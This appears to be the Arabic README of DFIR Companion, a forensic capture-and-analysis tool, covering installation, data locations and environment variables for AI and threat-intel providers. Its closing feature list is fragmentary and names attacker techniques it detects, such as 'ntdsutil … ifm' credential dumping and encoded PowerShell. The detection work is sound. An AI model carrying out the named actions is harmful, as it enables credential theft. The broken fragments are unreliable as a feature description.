ما الذي يجمعه، بما أن التحميل المؤقت لا يسأل أبدًا. يعرض Firefox إشعار جمع البيانات الخاص به فقط للإضافة الموقّعة المثبّتة بالطريقة العادية؛ أما
about:debuggingفيمنح كل شيء بصمت. تُصرّح الإضافة بـ نشاط التصفح (يحمل الالتقاط عنوان URL للتبويب وعنوانه) ومحتوى الموقع (لقطة الشاشة، والصفوف التي يجمعها Push). ترسل الإضافة البيانات إلى عنوان الرفيق الذي تهيّئه ولا مكان آخر؛ وما يعيد الرفيق توجيهه بعد ذلك — يقرأ نموذج رؤية لقطات الشاشة، ويقرأ تركيب الذكاء الاصطناعي الصفوف، وتستعلم خدمات السمعة لأغراض الإثراء — هو تهيئة الرفيق نفسه. انظر extension/PRIVACY.md.
النافذة المنبثقة تتصل فقط بحالة موجودة — أنت تنشئ الحالات في لوحة التحكم.
http://127.0.0.1:4773/dashboard، وانقر على + New case لإنشاء حالتك (تتصل
تلقائيًا). ثم في النافذة المنبثقة للإضافة اختر تلك الحالة من القائمة المنسدلة Case
(Refresh cases إذا لم تكن مدرجة بعد) ثم Start. تصفّح أدلتك —
تتحدّث لوحة التحكم مباشرةً.هل تحدّث نسخة موجودة؟ بعد
git pull، أعد تشغيلnpm installفي كلا مجلدَيcompanion/وextension/— قد تضيف الميزات الجديدة تبعيات (مثل تنقيح OCR للقطة الشاشة الذي أضافtesseract.js). ثم أعد تشغيلnpm run dev(يُحمَّل كود الخادم مرة واحدة عند بدء التشغيل).
التهيئة الكاملة، ونقاط نهاية HTTP، وتخطيط مجلد الحالة، ونموذج التحليل موثّقة في companion/README.md.
شغّل كل شيء — خادم الرفيق + لوحة التحكم + إضافة المتصفح — في حاوية واحدة.
لا يتم تضمين Ollama أو LiteLLM؛ بالنسبة للذكاء الاصطناعي توجّه DFIR_AI_* إلى أي نقطة نهاية
متوافقة مع OpenAI (نموذج تستضيفه أنت، أو مزوّد بعيد، أو Ollama/LiteLLM تشغّله بشكل منفصل). مع ترك
الذكاء الاصطناعي غير مضبوط، لا تزال الحاوية تقوم بالالتقاط الكامل وجميع أدوات الاستيراد الحتمية.
المتطلب الأساسي: Docker مع إضافة Compose (
docker compose version).
مقتصر على localhost بحكم التصميم: تربط الحاوية 0.0.0.0 داخليًا، لكن Compose ينشر
المنفذ على 127.0.0.1 على مضيفك — لذا لا تُعرَّض لوحة التحكم أبدًا على شبكتك.
أو اسحب الصورة المُعدّة مسبقًا من GHCR بدلاً من البناء: ``` docker compose pull && docker compose up -d
2. **حمّل الإضافة** (الالتقاط). يكتب الحاوية الإضافة المُجمَّعة مسبقًا وغير المُحزَّمة إلى
`./addon` عند أول تشغيل. في Chrome/Comet افتح `chrome://extensions`، وفعِّل **وضع
المطوِّر**، وانقر على **Load unpacked**، واختر **`./addon/dist`** (يُسقَط هناك أيضًا ملف
`dfir-companion-extension.zip` المُحزَّم).
3. افتح `http://127.0.0.1:4773/dashboard`، وانقر على **+ New case**، ثم اختر تلك الحالة في
نافذة الإضافة المنبثقة وانقر على **Start**.
**البيانات والإعدادات:**
- تستمر الأدلة وحالة الحالة في **`./cases`** على المضيف (وحدة تخزين مُثبَّتة) — تبقى عبر
عمليات إعادة التشغيل وإعادة بناء الصور.
- قم بالتهيئة عبر كتلة `environment:` في [`docker-compose.yml`](https://github.com/hasamba/dfir-companion/blob/master/docker-compose.yml)، أو
أزل التعليق عن `env_file: - .env` لاستخدام ملف `.env` (انسخ `companion/.env.example`).
- للوصول إلى نقطة نهاية AI تعمل على المضيف، استخدم `http://host.docker.internal:<port>/v1`
(على Linux بدون Docker Desktop، أزل التعليق أيضًا عن سطر `extra_hosts` في ملف compose).
## Windows (Chocolatey)
ثبِّت إصدار Windows المحمول باستخدام [Chocolatey](https://chocolatey.org/) — لا حاجة إلى
Node.js. في صدفة مرفوعة الصلاحيات:```
choco install dfir-companion
dfir-companion # → http://127.0.0.1:4773/dashboard
choco upgrade dfir-companion يجلب الإصدار التالي؛ choco uninstall dfir-companion
يزيل الملف التنفيذي و PATH shim. يقوم المثبّت بتنزيل نفس ملف zip المحمول المنشور على
صفحة الإصدارات ويتحقق من
SHA256 الخاص به.
بياناتك موجودة في ملف تعريف المستخدم الخاص بك، وليس في دليل التثبيت المملوك للمسؤول: الحالات في
%LOCALAPPDATA%\DFIR-Companion\cases والإعدادات في %LOCALAPPDATA%\DFIR-Companion\.env
(مُهيأة من المثال؛ عدّلها لمفاتيح AI / threat-intel — جميعها اختيارية). إلغاء التثبيت
يحتفظ بهذا المجلد حتى لا يتم حذف الأدلة أبدًا. لا يتم إنشاء قاعدة جدار حماية — الخادم
يرتبط بـ 127.0.0.1 فقط.
إضافة الالتقاط مضمّنة على القرص في %LOCALAPPDATA%\DFIR-Companion\extension من أجل
التثبيت دون اتصال (مفيدة على محطات العمل المعزولة) — حمّلها عبر chrome://extensions →
وضع المطور → Load unpacked → ذلك المجلد، أو ثبّتها من Chrome Web Store بمجرد
نشرها. لا يتم تثبيتها تلقائيًا في المتصفح.
ليس بعد على مستودع مجتمع Chocolatey؟ حتى يتم نشرها هناك، احصل على
dfir-companion.<version>.nupkgمن الإصدار وchoco install dfir-companion --source .من مجلدها. التغليف موجود فيpackaging/chocolatey/.
نزّل dfir-companion-<version>-x86_64.AppImage من
صفحة الإصدارات، ثم:```
chmod +x dfir-companion--x86_64.AppImage
./dfir-companion--x86_64.AppImage # → http://127.0.0.1:4773/dashboard
لا يتطلب Node — فهو يضم الخادم ولوحة المعلومات وأدوات الصور. **بياناتك تعيش في الدليل الذي تشغّله منه:** يتم إنشاء/قراءة `cases/` (الأدلة + الحالة) وملف `.env` اختياري (إعدادات الذكاء الاصطناعي / استخبارات التهديدات) بجوار المكان الذي تشغّل منه AppImage. يمكن تجاوزهما عبر `DFIR_CASES_ROOT` (مسار مطلق) و`DFIR_ENV_FILE` (مسار مطلق لملف إعدادات).
### أين تعيش البيانات
| التثبيت | الحالات + الحالة | الإعدادات (`.env`) |
| ---------------------- | ------------------------------------- | ------------------------------------- |
| المصدر / `npm run dev` | `companion/cases/` | `companion/.env` |
| Portable Windows EXE | `cases/` بجوار ملف EXE | `.env` بجوار ملف EXE |
| Windows (Chocolatey) | `%LOCALAPPDATA%\DFIR-Companion\cases` | `%LOCALAPPDATA%\DFIR-Companion\.env` |
| Linux AppImage | `$PWD/cases` (دليل التشغيل) | `$PWD/.env` (أو `DFIR_ENV_FILE`) |
| Docker / Compose | وحدة تخزين `./cases` المُثبَّتة | `environment:` / `--env-file` |
جميع المواقع قابلة للتجاوز عبر `DFIR_CASES_ROOT` (مسار مطلق).
## متغيرات البيئة (`companion/.env`)
تُضبط جميع سلوكيات الرفيق عبر متغيرات البيئة (`companion/.env` أو الصدفة). انسخ `companion/.env.example` للبدء — فهو يحتوي على تعليقات مضمّنة لكل متغير.
### الأساسية
| المتغير | الافتراضي | المعنى |
|---|---|---|
| `DFIR_CASES_ROOT` | `./cases` | موقع مجلد الحالة؛ المسارات النسبية تُحلّ نسبةً إلى `companion/` |
| `DFIR_PORT` | `4773` | منفذ الخادم (يجب أن يطابق الإضافة ولوحة المعلومات) |
| `DFIR_HOST` | `127.0.0.1` | واجهة الربط. يُرفض الربط غير المُصادَق عليه على واجهة غير loopback؛ ويوثّق Docker Compose استثناءه الخاص بـ host-loopback فقط |
| `DFIR_MAX_BODY_MB` | `256` | الحد الأقصى لحجم الرفع بالميغابايت؛ ارفعه إذا فشلت صادرات SIEM/EDR الكبيرة بخطأ HTTP 413 |
| `DFIR_ALLOWED_ORIGINS` | _(لا شيء)_ | أصول المتصفح الإضافية المسموح لها باستدعاء الـ API، مفصولة بفواصل. إضافة الالتقاط وloopback وأي أصل خدمه الرفيق نفسه موثوقة دائمًا، لذا لا يحتاج localhost/LAN/Docker إلى أي إعداد؛ ويُرفض أي أصل ويب آخر. المتصلون الذين لا يرسلون `Origin` (curl، السكربتات، Velociraptor) لا يتأثرون. مطلوب عندما تُقدَّم لوحة المعلومات من **اسم مضيف** — وكيل عكسي أو نشر مستضاف |
| `DFIR_ALLOWED_HOSTS` | _(لا شيء)_ | أسماء المضيفين الإضافية التي يستجيب لها هذا الرفيق، مفصولة بفواصل. تُقبل دائمًا عناوين loopback وعناوين IP المجردة، لذا لا يحتاج localhost وDocker والوصول إلى لوحة المعلومات عبر LAN على `http://192.168.1.50:4773` إلى أي إعداد. يُرفض أي **اسم** غير مُدرَج — وهذا ما يوقف إعادة ربط DNS (موقع معادٍ يوجّه نطاقه الخاص إلى جهازك). اضبط هذا عندما يمرّر وكيل عكسي `Host` يختلف عن الأصل الذي وضعته في `DFIR_ALLOWED_ORIGINS` |
| `DFIR_ALLOWED_HOST_SUFFIXES` | _(لا شيء)_ | مثل ما سبق لكن يُطابَق على لاحقة نطاق، مثل `.lab.example.com`، للمنصات التي تُنشئ اسم مضيف جديدًا لكل جلسة. المطابقة على حدود التسمية، لذا لا يطابق `.acme.com` أبدًا `evilacme.com` |
| `DFIR_LOG_LEVEL` | `info` | مستوى تفصيل السجلات (`debug`/`info`/`warn`/`error`). يُكتب إلى الطرفية + `logs/session-<time>.log` (عام) + `cases/<id>/logs/session-<time>.log` (لكل حالة). يتتبع `debug` استدعاءات الذكاء الاصطناعي والالتقاطات وOCR وإخفاء الهوية والإثراء. يُغيَّر مباشرةً (بدون إعادة تشغيل) عبر الإعدادات → تفصيل السجلات |
| `DFIR_LOG_DIR` | `logs/` بجوار جذر الحالات | مجلد سجل الجلسة **العام**. المسارات النسبية تُثبَّت نسبةً إلى `companion/`. تبقى سجلات كل حالة دائمًا في مجلد الحالة |
### المصادقة (نشر فريق اختياري)
يُفعّل `DFIR_AUTH_MODE=team` تسجيل الدخول عبر OIDC/المحلي، وجلسات المتصفح الآمنة، وأدوار كل حالة، وهويات الخدمة المرتبطة بالحالة. إعدادات المصادقة ومزوّد الهوية هي ضوابط أمنية للنشر: اضبطها في `.env` أو مخزن أسرار، ثم أعد التشغيل. راجع
[دليل حسابات الفريق وأدوار الحالات](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/team-authentication.md) للحصول على
قائمة المتغيرات الكاملة، وإعداد HTTPS، وتهيئة أول مسؤول، ومصفوفة الأدوار، ورمز الإضافة،
ونموذج عملية الكاتب الواحد.
### الذكاء الاصطناعي — الاستخراج (مطلوب لتفعيل التحليل)
| المتغير | الافتراضي | المعنى |
|---|---|---|
| `DFIR_VISION_PROVIDER` | — | `openai` \| `openrouter` \| `ollama` \| `litellm` \| `gemini` \| `anthropic` \| `claude-code`؛ غير مضبوط = الالتقاط فقط |
| `DFIR_VISION_MODEL` | — | معرّف النموذج (مثل `gpt-4o-mini`، `gemini-2.5-flash`)؛ **يجب أن يدعم الرؤية** لاستخراج لقطات الشاشة |
| `DFIR_VISION_KEY` | — | مفتاح API للمزوّد؛ اتركه فارغًا لوكيل محلي بدون مصادقة أو لـ `claude-code` (يستخدم اشتراك CLI `claude` المسجَّل دخوله بدلاً من ذلك) |
| `DFIR_AI_CLAUDE_CODE_BIN` | `claude` على PATH | لـ `claude-code` فقط: المسار المطلق لملف `claude` الثنائي إذا لم يكن على PATH |
| `DFIR_VISION_BASE_URL` | افتراضي المزوّد | تجاوز عنوان URL الأساسي — لوكيل LiteLLM محلي أو أي نقطة نهاية متوافقة مع OpenAI |
| `DFIR_AI_TIMEOUT_MS` | `900000` | مهلة كل طلب (مللي ثانية)؛ تحتاج مزوّدات CLI (claude-code، codex) دقائق على جدول زمني كبير |
| `DFIR_AI_MAX_TOKENS` | `16000` | الحد الأقصى لرموز الإكمال؛ القيمة المنخفضة جدًا تقتطع التوليف، وتمنع خطأ OpenRouter 402 عند الرصيد المنخفض |
| `DFIR_AI_SYNTH_MAX_EVENTS` | `600` | الحد الأقصى للأحداث الجنائية المُرسَلة إلى التوليف؛ تحصل الأحداث الحرجة/العالية دائمًا على نتيجة بغض النظر |
| `DFIR_REPORT_SYNTH_COVERAGE` | _(معطّل)_ | اضبطه على قيمة صحيحة لإضافة حاشية **§3.4 تغطية التوليف** إلى التقرير — "تم النظر في N من M حدثًا داخل النافذة (K محذوف: الميزانية/التصفية)"، وتقدير الرموز، وكم من الإغفالات عالية الخطورة استعادها ملء شبكة الأمان. تعرض بطاقة synth-meta في لوحة المعلومات هذا السطر دائمًا؛ يتحكم هذا العلم فقط فيما إذا كان يظهر أيضًا في التقرير المُصدَّر |
| `DFIR_REPORT_MODEL_PERF` | _(معطّل)_ | اضبطه على قيمة صحيحة لإضافة حاشية **§3.5 أداء النموذج** إلى التقرير — نموذج التوليف، وعدد النتائج مقابل كم كان على ملء شبكة الأمان إضافتها، وإعادات المحاولة في التحليل، و(عند تشغيل رأي ثانٍ) كم مرة اتفق `DFIR_AI_SECOND_OPINION_MODEL` مع `DFIR_AI_MODEL`/`DFIR_AI_SYNTH_MODEL`. تعرض بطاقة synth-meta في لوحة المعلومات هذا دائمًا؛ يتحكم هذا العلم فقط فيما إذا كان يظهر أيضًا في التقرير المُصدَّر |
| `DFIR_AI_CONTEXT_TOKENS` | `128000` | نافذة سياق النموذج؛ ارفعها لـ Claude/Gemini (200k/1M) لإرسال المزيد في كل استدعاء |
| `DFIR_VISION_IMAGE_DETAIL` | `high` | `high` \| `low` \| `auto` (OpenAI/OpenRouter)؛ يجزّئ `high` بدقة كاملة لـ OCR النصوص الصغيرة |
| `DFIR_AI_AUTO_SYNTHESIZE` | `on` | إعادة التوليف أثناء الالتقاط: `on` \| `off` |
| `DFIR_AI_AUTO_SYNTHESIZE_MS` | `8000` | نافذة التهدئة قبل تشغيل التوليف التلقائي (مللي ثانية) |
| `DFIR_FLUSH_INTERVAL_MS` | `300000` | تفريغ شبكة الأمان لمخازن الالتقاط المتبقية (مللي ثانية)؛ `0` يعطّله |
| `DFIR_ANONYMIZE` | `on` | ترميز عناوين IP/المضيفين/المستخدمين/المسارات الخاصة بالضحية قبل استدعاءات الذكاء الاصطناعي: `on` \| `off` |
| `DFIR_PRESIDIO_URL` | _(غير مضبوط)_ | اختياري: عنوان URL الأساسي لحاوية [Presidio](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/presidio.md) Analyzer مُدارة ذاتيًا (مثل `http://localhost:5002`) تفحص النص المُقنَّع مسبقًا بحثًا عن الأسماء وغيرها من المعلومات الشخصية التي لا تستطيع regex التقاطها. غير مضبوط = الميزة معطّلة. |
| `DFIR_PRESIDIO_MIN_SCORE` | `0.6` | الحد الأدنى للثقة (0–1) لنتائج Presidio؛ القيم الفارغة/غير الرقمية ترجع إلى الافتراضي، والقيم خارج النطاق تُقيَّد |
| `DFIR_PRESIDIO_TIMEOUT_MS` | `60000` | الميزانية لطلب `/analyze` واحد (تُجزَّأ الفحوصات؛ تحصل كل قطعة على الميزانية الكاملة). ارفعه لمحلل بطيء أو مشترك؛ القيم الفارغة/غير الرقمية/≤0 ترجع إلى الافتراضي |
> أُعيدت تسمية متغيرات لقطة الشاشة/الرؤية أعلاه (`DFIR_VISION_PROVIDER` / `DFIR_VISION_MODEL` / `DFIR_VISION_KEY` / `DFIR_VISION_BASE_URL` / `DFIR_VISION_IMAGE_DETAIL`) من بادئة `DFIR_AI_*`؛ لا تزال الأسماء القديمة `DFIR_AI_PROVIDER` / `DFIR_AI_MODEL` / `DFIR_AI_KEY` / `DFIR_AI_BASE_URL` / `DFIR_AI_IMAGE_DETAIL` تعمل كبديل مهمَل (يفوز الاسم الجديد عند ضبط كليهما).
**Claude Code** — يستخدم اشتراك Claude المسجَّل دخوله عبر CLI `claude`، بدون مفتاح API؛ يتعامل
مع الرؤية + النص (استخراج لقطات الشاشة *و* التوليف). يتطلب تثبيت CLI `claude` وإكمال
`claude auth login` على المضيف. يستهلك حدود معدل اشتراكك (قد يستنفدها الاستخراج المكثف)؛
التكلفة المُبلَّغة مكافئة لـ API، وليست من الجيب. تعرض الإعدادات → الذكاء الاصطناعي حالة
اتصال (غير مثبّت / غير متصل / متصل) مع إجراء اتصال بنقرة واحدة.
### الذكاء الاصطناعي — نموذج النص (مستويان، اختياري)
الانقسام هو **الرؤية مقابل النص**: يقرأ `DFIR_VISION_MODEL` لقطات الشاشة (يجب أن يكون متعدد الوسائط)؛ ويقوم نموذج `DFIR_AI_SYNTH_*` بـ**كل أعمال النص** — استخراج CSV، وفرز السجلات، والتوليف، والسؤال/الشرح. إذا لم يُضبط، تعيد أعمال النص استخدام `DFIR_VISION_MODEL`.
**Codex** — اضبط `DFIR_AI_SYNTH_PROVIDER=codex` (صالح أيضًا لمزوّدي velo / الرأي الثاني)
لتشغيل أعمال النص عبر **Codex CLI** المحلي من OpenAI (`codex exec`)، باستخدام مصادقة codex
المحيطة بك — `codex login` أو `OPENAI_API_KEY`، **بدون `DFIR_AI_KEY`**. Codex **نصي فقط** (لا
يستطيع قراءة لقطات الشاشة)، لذا اقرنه بمزوّد رؤية للاستخراج؛ يرسل البيانات إلى OpenAI
(غير محلي). يتطلب تثبيت `@openai/codex`. يوجّه `DFIR_AI_CODEX_BIN` الاختياري إلى `codex`
غير الموجود على PATH. تعرض الإعدادات → الذكاء الاصطناعي حالة اتصال codex (غير مثبّت / غير متصل /
متصل) مع إجراء اتصال بنقرة واحدة.
موصى به: نموذج رؤية رخيص للقطات الشاشة، ونموذج استدلال قوي للنص. لا تقتصد في نموذج النص — فالنموذج الضعيف يفشل في فرز السجلات *بصمت*، فيعيد لا أحداث بدلاً من أحداث خاطئة (`npm run eval:real` يقيس هذا بالضبط).
| المتغير | الافتراضي | المعنى |
|---|---|---|
| `DFIR_AI_SYNTH_PROVIDER` | = `DFIR_VISION_PROVIDER` | مزوّد أعمال النص (CSV/السجل/التوليف) |
| `DFIR_AI_SYNTH_MODEL` | = `DFIR_VISION_MODEL` | معرّف نموذج النص — استخراج CSV/السجل + التوليف (مثل `gpt-4o`، `gemini-2.5-pro`، `claude-sonnet-4-6`) |
| `DFIR_AI_SYNTH_KEY` | = `DFIR_VISION_KEY` | مفتاح API لنموذج النص |
| `DFIR_AI_SYNTH_BASE_URL` | = `DFIR_VISION_BASE_URL` | عنوان URL الأساسي للتوليف |
### الذكاء الاصطناعي — نموذج صيد Velociraptor (اختياري)
نموذج مخصص يُستخدم **فقط** لتوليد عمليات صيد Velociraptor VQL (ميزتا *Suggest Velociraptor hunts* / *Fleet Hunts*)، منفصل عن الاستخراج/التوليف/OCR — كثير من النماذج تخطئ في VQL. قابل للتحرير أيضًا في **الإعدادات → الذكاء الاصطناعي**.
| المتغير | الافتراضي | المعنى |
|---|---|---|
| `DFIR_AI_VELO_PROVIDER` | `openrouter` | مزوّد توليد صيد VQL |
| `DFIR_AI_VELO_MODEL` | `anthropic/claude-haiku-4.5` | معرّف النموذج لتوليد صيد VQL |
| `DFIR_AI_VELO_KEY` | = `DFIR_VISION_KEY` | مفتاح API (يعيد استخدام المفتاح الرئيسي عند تركه فارغًا) |
| `DFIR_AI_VELO_BASE_URL` | = `DFIR_VISION_BASE_URL` | تجاوز عنوان URL الأساسي |
### الذكاء الاصطناعي — مطالبات مخصصة (اختياري)
لكل مطالبة شكلان للتجاوز (بترتيب الأولوية): `DFIR_AI_<NAME>_PROMPT` (نص مضمّن، يُقرأ عند بدء التشغيل) و`DFIR_AI_<NAME>_PROMPT_FILE` (مسار ملف، يُعاد قراءته في كل استدعاء — عدّله فيُطبَّق فورًا). يكتب `npm run prompts:eject` الإعدادات الافتراضية المضمّنة كنقطة انطلاق.
| اسم المطالبة | رمز `<NAME>` |
|---|---|
| استخراج لكل لقطة شاشة | `SYSTEM` |
| فرز استيراد CSV | `CSV` |
| فرز استيراد السجل | `LOG` |
| التوليف الشامل | `SYNTH` |
| أسئلة وأجوبة الحالة | `ASK` |
| الملخص التنفيذي | `EXEC` |
| الجدول الزمني السردي | `NARRATIVE` |
| عمليات صيد الأسطول المقترحة | `HUNTS` |
| عمليات صيد دليل اللعب المقترحة | `PBHUNTS` |
| فرضيات فجوات الجدول الزمني | `GAPHYP` |
| مترجم الاستعلامات (NL → استعلام) | `QUERYXLATE` |
### إثراء استخبارات التهديدات (اختياري — معطّل افتراضيًا)
أضف مفتاحًا لتفعيل ذلك المزوّد. جميع المزوّدين الخارجيين اختياريون لكل حالة من لوحة المعلومات.
| المتغير | الافتراضي | المعنى |
|---|---|---|
| `DFIR_VT_KEY` | — | مفتاح API لـ VirusTotal (hash / IP / domain / URL) |
| `DFIR_HUNTINGCH_KEY` | — | مفتاح Auth-Key لـ abuse.ch لـ Hunting.ch (MalwareBazaar · ThreatFox · URLhaus · YARAify)؛ يرجع إلى `DFIR_MB_KEY` |
| `DFIR_MB_KEY` | — | مفتاح abuse.ch القديم — يشغّل Hunting.ch؛ يُفضَّل `DFIR_HUNTINGCH_KEY` |
| `DFIR_ABUSEIPDB_KEY` | — | مفتاح API لـ AbuseIPDB (سمعة IP) |
| `DFIR_CROWDSTRIKE_CLIENT_ID` | — | معرّف عميل OAuth2 لـ CrowdStrike Falcon TI |
| `DFIR_CROWDSTRIKE_CLIENT_SECRET` | — | سر OAuth2 لـ CrowdStrike (يحتاج *Indicators: Read* + *MalQuery: Read*) |
| `DFIR_CROWDSTRIKE_CLOUD` | `us-1` | سحابة المستأجر: `us-1` \| `us-2` \| `eu-1` \| `gov-us-1` \| `gov-us-2` |
| `DFIR_CROWDSTRIKE_BASE_URL` | من السحابة | عنوان URL أساسي صريح للـ API (يتجاوز `DFIR_CROWDSTRIKE_CLOUD`) |
| `DFIR_ROCKYRACCOON_KEY` | — | مفتاح RockyRaccoon لانتشار عمليات Windows / LOLBIN / ATT&CK |
| `DFIR_MISP_URL` | — | عنوان URL لنسخة MISP — يلزم كل من URL + المفتاح للإثراء والدفع |
| `DFIR_MISP_KEY` | — | مفتاح مصادقة MISP API |
| `DFIR_MISP_CA` | — | حزمة PEM CA لـ MISP بشهادة داخلية (يبقى التحقق مفعّلاً) |
| `DFIR_MISP_INSECURE` | — | `=1` لتخطي التحقق من TLS (للمختبر فقط) |
| `DFIR_MISP_DISTRIBUTION` | `0` | توزيع الحدث الجديد: `0`=المؤسسة، `1`=المجتمع، `2`=المتصل، `3`=الكل |
| `DFIR_MISP_ANALYSIS` | `1` | حالة تحليل الحدث الجديد: `0`=أولي، `1`=جارٍ، `2`=مكتمل |
| `DFIR_MISP_TIMELINE_LIMIT` | `5000` | الحد الأقصى لأحداث الجدول الزمني الجنائي لكل دفع؛ بعد الحد يُحتفظ بالأشد خطورة ويُحذّر الدفع |
| `DFIR_YETI_URL` | — | عنوان URL لنسخة YETI — يلزم كل من URL + المفتاح |
| `DFIR_YETI_KEY` | — | مفتاح YETI API |
| `DFIR_YETI_CA` | — | حزمة PEM CA لـ YETI بشهادة داخلية |
| `DFIR_YETI_INSECURE` | — | `=1` لتخطي التحقق من TLS (للمختبر فقط) |
| `DFIR_OPENCTI_URL` | — | عنوان URL لنسخة OpenCTI — يلزم كل من URL + المفتاح (hash/ip/domain/url) |
| `DFIR_OPENCTI_KEY` | — | رمز OpenCTI API |
| `DFIR_OPENCTI_CA` | — | حزمة PEM CA لـ OpenCTI بشهادة داخلية |
| `DFIR_OPENCTI_INSECURE` | — | `=1` لتخطي التحقق من TLS (للمختبر فقط) |
| `DFIR_OPENCTI_MALICIOUS_SCORE` | `75` | عتبة `x_opencti_score` لحكم الخبث |
| `DFIR_RDAP_URL` | `https://rdap.org` | أساس WHOIS-over-RDAP (بدون مفتاح؛ تمهيد IANA إلى RIR المالك) |
| `DFIR_GEOIP_URL` | `https://ipinfo.io/{ip}/json` | قالب URL لـ GeoIP (HTTPS بدون مفتاح؛ يُستبدل `{ip}`؛ يتسامح المحلل أيضًا مع ip-api.com + ipwho.is) |
| `DFIR_GEOIP_KEY` | — | مفتاح GeoIP اختياري (يملأ `{key}`، وإلا يُلحق كـ `?token=`) لخلفية مدفوعة/مُدارة ذاتيًا |
| `DFIR_SHODAN_KEY` | — | مفتاح Shodan API — يشغّل أيضًا مُثري بحث مضيف Shodan (مشترك مع تعرّض العملاء) |
| `DFIR_HASHLOOKUP_URL` | `https://hashlookup.circl.lu` | أساس CIRCL hashlookup (بحث ملفات معروفة بدون مفتاح لمؤشرات hash)؛ تجاوزه لمرآة مُدارة ذاتيًا / معزولة |
| `DFIR_ENRICH_DELAY_MS` | `1500` | التهدئة بين عمليات البحث (مللي ثانية) |
| `DFIR_ENRICH_JITTER_MS` | `0` | ± اهتزاز عشوائي يُضاف إلى الانتظار بين الاستدعاءات (مللي ثانية)؛ يوزّع التشغيلات المتوازية/المتراصفة حتى لا تصطدم كلها بنافذة حد معدل المزوّد معًا |
| `DFIR_ENRICH_RETRIES` | `2` | محاولات إعادة لاستدعاء مزوّد يصطدم بـ 429، مع احترام `Retry-After` عندما يرسله المزوّد، قبل احتسابه خطأً |
.evtxDFIR_DEDUP=off)DFIR_OCR_SEARCH=off للتعطيل؛ npm run ocr-index للتعبئة الرجعية)127.0.0.1 مع CORS + Private-Network-Access للإضافة؛ يرفض أسماء المضيفين غير المعروفة، مما يسد هجمات إعادة ربط DNS (DFIR_ALLOWED_HOSTS)eve.jsonalert_fastyara -s -mscorethreat_level%ASA-#-######:<PRI>1 …Mmm dd …event.severity_label/api/events/api/sigma-alertslog show --style jsoncom.apple.quarantine.sfl2audit.k8s.iocolumnssnapshotpsortreport.json-r jsonmemory_payload.jsonyarascan_results.jsonl.eml.msg.bash_history.zsh_historyHISTTIMEFORMAT#epochaudit.logausearchaureportjournalctl -o json-o json-pretty-jalerts.jsonGET /security/eventsrule.levelcmd.exe مُعاد تسميته، أداة مُسقَطة)nltest، Get-AD*، ntdsutil … ifm وما شابه تُقرأ من سجلات 4104/4103 مع تقنياتهاssl/x509، Suricata tls) يصبح صفًا واحدًا لكل علاقة ولكل شهادة؛ تُربط إجابات DNS باتصالات نفس العميل اللاحقة داخل مدة TTL؛ سلاسل طلبات الويب تُربط فقط عبر المُعرّفات التي يحملها كلا السجلينDFIR_SYNTH_ADVERSARY_HINTS)tags.yaml) — محرك قواعد يوسم الأحداث، ويرفع الخطورة، ويجمع تقنيات MITRE-enc، [Convert]::FromBase64String)؛ ويستخرج IOCs مخفية؛ ويعرض كتل [Decoded]process_creation تبحث أيضًا في سجل Sysmon / 4688POST /cases/:id/push (SIEM webhook، Velociraptor monitor، scripts)DFIR_FORENSIC_MIN_SEVERITY + تجاوز لكل قضية، والترقية تتخطى البوابة، ولا تزال IOCs تُستخرج من كل حدثDetectRaptor.Windows.Detection.MFT)، على الجدولين الطب الشرعي والفائقj/k يحرّك إبراز الصف المركّز على Forensic Timeline، وf يضع نجمة، وi يملأ نموذج IOC اليدوي مسبقًا، وp يثبّت النتيجة المستشهدة، وn يفتح تعليقًا، و? يعرض ورقة غش؛ قابل للتبديل في Settings → General، مفعّل افتراضيًاPUT /cases/:id/correlation-profileDFIR_CROSS_CASE=on/dfir findings، /dfir iocs malicious، /dfir ask … من قناة الحادث؛ اربط قناة بقضية، وحدد من يُسمح له بإنفاق ميزانية الذكاء الاصطناعي (#235)/mobile) للنتائج/الجدول الزمني/مؤشرات الاختراق مع الأحكام؛ قشرة تطبيق دون اتصال/cases/:id/present) لجلسات التسليم والعروض التنفيذية: بطاقات كبيرة، تنقل بلوحة المفاتيح، تقدّم تلقائي، تصفية حسب الخطورة، علامة قالب التقرير؛ تصدير عرض HTML مستقل دون اتصال (#177)%LOCALAPPDATA%docker compose up؛ الأدلة على وحدة تخزين المضيف، بدون خلفية ذكاء اصطناعي مضمّنةnpm run seed-demo لتهيئة سيناريو GlobalTechreanalyze، synthesize، coverage، verify:ai، clean-timeline